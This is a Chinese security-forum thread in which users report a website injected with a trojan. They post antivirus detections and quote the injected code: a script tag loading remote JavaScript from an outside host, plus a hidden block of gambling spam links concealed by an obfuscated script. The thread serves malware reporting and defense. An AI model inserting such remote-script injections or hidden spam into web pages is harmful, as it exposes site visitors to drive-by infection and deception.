http://www.kongqipao123.com/【挂马 by 蓝核】

显示全部楼层 · 发表于 2013-4-7 13:12:45

本帖最后由 wjhstu-VxG 于 2013-4-9 19:47 编辑

2013/4/7 13:10:38 已清除 l\X C:\Program Files (x86)\Internet Explorer\iexplore.exe C:\Sandbox\X\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\7CXKDLIK\kongqipao123_com[1].htm JS/Redirector (特洛伊)

显示全部楼层 · 发表于 2013-4-7 13:39:25

裸奔中，火狐成功拦截

显示全部楼层 · 发表于 2013-4-8 13:39:40

<script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>

复制代码

还有一腿的纯洁广告……

<div id="test"><h1><a href='http://www.fjgraments.com/'>博彩通</a>(www.fjgraments.com)做最好的博彩通网址导航</h1> - <h1><a href='http://www.y88m88.cn/'>百家乐</a>(www.y88m88.cn)信誉百家乐网站</h1> - <h1><a href='http://dllinnaixi.cn/'>宝马会</a>(dllinnaixi.cn)宝马会娱乐城</h1> - <h1><a href='http://www.8k88.net/'>e世博</a>(www.8k88.net)e世博娱乐城官方网站</h1> - <h1><a href='http://www.bet196.com/'>金宝博</a>(www.bet196.com)滚球投注及滚球专家</h1> -<h1><a href='http://www.bet1019.com/'>新葡京娱乐城</a>(www.bet1019.com)新葡京娱乐城官方网址</h1></div><script>document.getElementById("t"+"e"+"s"+"t").style.display='none';</script>

复制代码

这个网页真恶心……居然开头是一段空白……

显示全部楼层 · 发表于 2013-4-11 17:02:45

病毒: Win32.Jadtre.B (引擎A), JS:Agent-AOH [Trj] (引擎B)

下载网页内容时发现病毒。

地址: www.kongqipao123.com
状态：访问被拒绝。

谁念西风独自凉,萧萧黄叶闭疏窗,沉思往事立残阳. 被酒莫惊春睡重,赌书消得泼茶香,当时只道是寻常.！

[已鉴定] http://www.kongqipao123.com/【挂马 by 蓝核】